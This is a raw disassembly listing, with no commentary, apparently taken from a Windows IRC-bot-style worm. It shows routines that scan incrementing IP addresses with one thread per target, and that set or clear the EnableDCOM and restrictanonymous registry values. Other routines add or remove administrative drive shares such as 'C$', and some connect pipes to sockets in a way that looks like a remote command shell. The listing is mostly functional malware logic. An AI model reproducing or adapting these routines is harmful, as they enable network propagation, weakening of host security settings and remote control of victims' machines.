		call	sub_40BF6F
		add	esp, 28h


loc_415E17:				; CODE XREF: sub_415D59+5Dj
					; sub_415D59+7Ej
		push	esi
		call	ds:dword_43C6B0	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; int __cdecl sub_415E26(int Dst)

sub_415E26	proc near		; DATA XREF: sub_40EE51+35F7o

Source		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
Src		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+Dst]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_423060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_415E54:				; CODE XREF: sub_415E26+ECj
		push	[ebp+var_2C]
		push	[ebp+Src]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_437C3C ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_441E70
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_415D59
		push	edi
		push	edi
		call	ds:dword_42309C
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_415EC0


loc_415EB5:				; CODE XREF: sub_415E26+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_415EC0
		push	32h
		call	esi	; Sleep
		jmp	short loc_415EB5
; ---------------------------------------------------------------------------


loc_415EC0:				; CODE XREF: sub_415E26+8Dj
					; sub_415E26+92j
		push	[ebp+var_4]
		call	ds:dword_423074
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+Src]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	ds:dword_43C54C	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	ds:dword_43C614	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Src]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		jmp	loc_415E54
sub_415E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F17	proc near		; DATA XREF: sub_40EE51+5F5Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F5E
		call	sub_415F77
		jmp	short loc_415F63
; ---------------------------------------------------------------------------


loc_415F5E:				; CODE XREF: sub_415F17+3Ej
		call	sub_41629B


loc_415F63:				; CODE XREF: sub_415F17+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417064
		pop	ecx
		push	0
		call	ds:dword_423050
sub_415F17	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F77	proc near		; CODE XREF: sub_415F17+40p

Dest		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_43C6E8, edi
		jnz	loc_4160A9
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43C688	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_416002
		mov	ax, ds:word_437FEC
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43C63C	; RegSetValueExA
		test	eax, eax
		jz	short loc_415FE4
		push	offset unk_437FAC
		jmp	short loc_415FE9
; ---------------------------------------------------------------------------


loc_415FE4:				; CODE XREF: sub_415F77+64j
		push	offset dword_437F80 ; Format


loc_415FE9:				; CODE XREF: sub_415F77+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43C5F4	; RegCloseKey
		jmp	short loc_416015
; ---------------------------------------------------------------------------


loc_416002:				; CODE XREF: sub_415F77+36j
		lea	eax, [ebp+Dest]
		push	offset unk_437F40 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_416015:				; CODE XREF: sub_415F77+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416034
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_416034:				; CODE XREF: sub_415F77+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43C688	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4160A2
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], 1
		call	ds:dword_43C63C	; RegSetValueExA
		test	eax, eax
		jz	short loc_416084
		push	offset unk_437EE0
		jmp	short loc_416089
; ---------------------------------------------------------------------------


loc_416084:				; CODE XREF: sub_415F77+104j
		push	offset unk_437E9C ; Format


loc_416089:				; CODE XREF: sub_415F77+10Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43C5F4	; RegCloseKey
		jmp	short loc_4160BC
; ---------------------------------------------------------------------------


loc_4160A2:				; CODE XREF: sub_415F77+E2j
		push	offset unk_437E50
		jmp	short loc_4160AE
; ---------------------------------------------------------------------------


loc_4160A9:				; CODE XREF: sub_415F77+13j
		push	offset unk_437E10 ; Format


loc_4160AE:				; CODE XREF: sub_415F77+130j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4160BC:				; CODE XREF: sub_415F77+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160DB
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_4160DB:				; CODE XREF: sub_415F77+148j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		cmp	ds:dword_43C710, edi
		pop	ecx
		jnz	loc_416256
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_4160FE:				; CODE XREF: sub_415F77+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Str]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_43C564
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41619B
		cmp	eax, 0EAh
		jz	short loc_41619B
		mov	esi, offset off_437C78


loc_41612F:				; CODE XREF: sub_415F77+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC1
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416146
		push	offset unk_437DDC
		jmp	short loc_41614B
; ---------------------------------------------------------------------------


loc_416146:				; CODE XREF: sub_415F77+1C6j
		push	offset unk_437DA0 ; Format


loc_41614B:				; CODE XREF: sub_415F77+1CDj
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41617E
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_41617E:				; CODE XREF: sub_415F77+1EBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_437C98
		jl	short loc_41612F
		jmp	loc_416233
; ---------------------------------------------------------------------------


loc_41619B:				; CODE XREF: sub_415F77+1AAj
					; sub_415F77+1B1j
		mov	esi, dword ptr [ebp+Str]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41622A


loc_4161AA:				; CODE XREF: sub_415F77+2AFj
		mov	edi, [esi]
		push	edi		; Str
		call	_wcslen
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41621F
		push	edi
		call	sub_40DBAE
		push	eax
		push	0
		call	sub_40DCC1
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161D9
		push	offset unk_437D6C
		jmp	short loc_4161DE
; ---------------------------------------------------------------------------


loc_4161D9:				; CODE XREF: sub_415F77+259j
		push	offset unk_437D30 ; Format


loc_4161DE:				; CODE XREF: sub_415F77+260j
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416212
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_416212:				; CODE XREF: sub_415F77+27Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx


loc_41621F:				; CODE XREF: sub_415F77+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161AA
		xor	edi, edi


loc_41622A:				; CODE XREF: sub_415F77+22Dj
		push	dword ptr [ebp+Str]
		call	ds:dword_43C6A8


loc_416233:				; CODE XREF: sub_415F77+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_4160FE
		lea	eax, [ebp+Dest]
		push	offset unk_437CF8 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_416269
; ---------------------------------------------------------------------------


loc_416256:				; CODE XREF: sub_415F77+177j
		lea	eax, [ebp+Dest]
		push	offset unk_437CB8 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_416269:				; CODE XREF: sub_415F77+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416287
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_416287:				; CODE XREF: sub_415F77+2F5j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41629B	proc near		; CODE XREF: sub_415F17:loc_415F5Ep

Dest		= byte ptr -220h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_43C6E8, ebx
		push	esi
		jnz	loc_4163C9
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43C688	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_416326
		mov	ax, ds:word_4381D4
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43C63C	; RegSetValueExA
		test	eax, eax
		jz	short loc_416308
		push	offset unk_4381A0
		jmp	short loc_41630D
; ---------------------------------------------------------------------------


loc_416308:				; CODE XREF: sub_41629B+64j
		push	offset dword_438174 ; Format


loc_41630D:				; CODE XREF: sub_41629B+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43C5F4	; RegCloseKey
		jmp	short loc_416339
; ---------------------------------------------------------------------------


loc_416326:				; CODE XREF: sub_41629B+36j
		lea	eax, [ebp+Dest]
		push	offset unk_437F40 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_416339:				; CODE XREF: sub_41629B+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416358
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_416358:				; CODE XREF: sub_41629B+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43C688	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4163C2
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], ebx
		call	ds:dword_43C63C	; RegSetValueExA
		test	eax, eax
		jz	short loc_4163A4
		push	offset unk_438128
		jmp	short loc_4163A9
; ---------------------------------------------------------------------------


loc_4163A4:				; CODE XREF: sub_41629B+100j
		push	offset unk_4380E4 ; Format


loc_4163A9:				; CODE XREF: sub_41629B+107j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43C5F4	; RegCloseKey
		jmp	short loc_4163DC
; ---------------------------------------------------------------------------


loc_4163C2:				; CODE XREF: sub_41629B+E2j
		push	offset unk_438098
		jmp	short loc_4163CE
; ---------------------------------------------------------------------------


loc_4163C9:				; CODE XREF: sub_41629B+13j
		push	offset unk_437E10 ; Format


loc_4163CE:				; CODE XREF: sub_41629B+12Cj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4163DC:				; CODE XREF: sub_41629B+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4163FB
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_4163FB:				; CODE XREF: sub_41629B+144j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		cmp	ds:dword_43C710, ebx
		pop	ecx
		jnz	loc_41656D
		push	edi
		mov	esi, offset off_437C78
		mov	edi, 200h


loc_41641F:				; CODE XREF: sub_41629B+1E9j
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; Str
		push	ebx		; int
		call	sub_40DC15
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41643A
		push	offset unk_438068
		jmp	short loc_41643F
; ---------------------------------------------------------------------------


loc_41643A:				; CODE XREF: sub_41629B+196j
		push	offset unk_438030 ; Format


loc_41643F:				; CODE XREF: sub_41629B+19Dj
		lea	eax, [ebp+Dest]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41646E
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_41646E:				; CODE XREF: sub_41629B+1B7j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_437C88
		jl	short loc_41641F
		call	ds:dword_42317C	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416555


loc_416499:				; CODE XREF: sub_41629B+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41654A
		cmp	bl, 41h
		jz	loc_41654A
		movsx	esi, bl
		push	esi
		push	offset aC_0	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		push	esi
		push	offset aC_1	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_43C678	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41654A
		lea	eax, [ebp+var_20]
		push	eax		; int
		lea	eax, [ebp+var_14]
		push	eax		; Str
		push	0		; int
		call	sub_40DC15
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_416508
		push	offset unk_438068
		jmp	short loc_41650D
; ---------------------------------------------------------------------------


loc_416508:				; CODE XREF: sub_41629B+264j
		push	offset unk_438030 ; Format


loc_41650D:				; CODE XREF: sub_41629B+26Bj
		lea	eax, [ebp+Dest]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41653D
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_41653D:				; CODE XREF: sub_41629B+286j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx


loc_41654A:				; CODE XREF: sub_41629B+206j
					; sub_41629B+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_416499


loc_416555:				; CODE XREF: sub_41629B+1F8j
		lea	eax, [ebp+Dest]
		push	offset unk_437FF0 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416580
; ---------------------------------------------------------------------------


loc_41656D:				; CODE XREF: sub_41629B+173j
		lea	eax, [ebp+Dest]
		push	offset unk_437CB8 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_416580:				; CODE XREF: sub_41629B+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41659E
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_41659E:				; CODE XREF: sub_41629B+2E8j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41629B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165B2	proc near		; CODE XREF: sub_41546F+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416703
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, ds:dword_44207C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_42309C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168D5
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_41661D
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_43821C ; Format
		call	sub_40BFE3
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_41661D:				; CODE XREF: sub_4165B2+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_416987
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_41665E
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_43821C ; Format
		call	sub_40BFE3
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_423168


loc_416657:				; CODE XREF: sub_4165B2+69j
		xor	eax, eax
		jmp	loc_4166FE
; ---------------------------------------------------------------------------


loc_41665E:				; CODE XREF: sub_4165B2+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	ds:dword_423180	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_4166B8
		dec	eax
		jz	short loc_4166B2
		dec	eax
		jz	short loc_41669E
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_4381D8 ; Format
		call	sub_40BFE3
		pop	ecx
		pop	ecx
		jmp	short loc_4166CD
; ---------------------------------------------------------------------------


loc_41669E:				; CODE XREF: sub_4165B2+D5j
		mov	edi, ds:dword_423168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166CD
; ---------------------------------------------------------------------------


loc_4166B2:				; CODE XREF: sub_4165B2+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166BC
; ---------------------------------------------------------------------------


loc_4166B8:				; CODE XREF: sub_4165B2+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4166BC:				; CODE XREF: sub_4165B2+104j
		call	ds:dword_423168
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_423110


loc_4166CD:				; CODE XREF: sub_4165B2+EAj
					; sub_4165B2+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_423074
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	ds:dword_43C6B0	; closesocket
		push	esi		; Memory
		call	_free
		pop	ecx
		push	1
		pop	eax


loc_4166FE:				; CODE XREF: sub_4165B2+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416703	proc near		; CODE XREF: sub_4165B2+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h		; Size
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4167ED
		mov	ebx, ds:dword_423140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:dword_423074
		test	eax, eax
		jnz	short loc_416766
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4382FC
		jmp	short loc_416786
; ---------------------------------------------------------------------------


loc_416766:				; CODE XREF: sub_416703+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_41678E
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_4382AC ; Format


loc_416786:				; CODE XREF: sub_416703+61j
		call	sub_40BFE3
		pop	ecx
		jmp	short loc_4167BC
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: sub_416703+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_4167FC
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4167F1
		push	offset dword_438274
		call	sub_40BF6F


loc_4167BC:				; CODE XREF: sub_416703+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167C8
		push	[ebp+var_4]
		call	edi


loc_4167C8:				; CODE XREF: sub_416703+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167D3
		push	[ebp+var_8]
		call	edi


loc_4167D3:				; CODE XREF: sub_416703+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167DC
		push	eax
		call	edi


loc_4167DC:				; CODE XREF: sub_416703+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167E6
		push	eax
		call	edi


loc_4167E6:				; CODE XREF: sub_416703+DEj
		push	esi		; Memory
		call	_free
		pop	ecx


loc_4167ED:				; CODE XREF: sub_416703+1Dj
		xor	eax, eax
		jmp	short loc_4167F7
; ---------------------------------------------------------------------------


loc_4167F1:				; CODE XREF: sub_416703+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_4167F7:				; CODE XREF: sub_416703+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416703	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167FC	proc near		; CODE XREF: sub_416703+94p

Dst		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memset
		push	10h		; Size
		lea	eax, [ebp+var_14]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+Dst], edi
		mov	edi, ds:dword_42313C
		push	esi
		push	1
		push	2
		push	eax
